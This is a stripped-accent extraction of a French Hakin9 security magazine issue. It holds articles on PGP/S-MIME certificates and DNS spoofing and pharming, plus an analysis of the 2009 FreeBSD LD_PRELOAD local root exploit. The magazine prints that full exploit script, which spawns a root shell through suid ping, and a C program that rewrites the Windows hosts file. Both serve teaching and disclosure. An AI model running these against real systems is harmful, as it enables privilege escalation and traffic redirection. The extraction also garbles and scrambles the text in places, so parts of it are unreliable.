bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 32: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

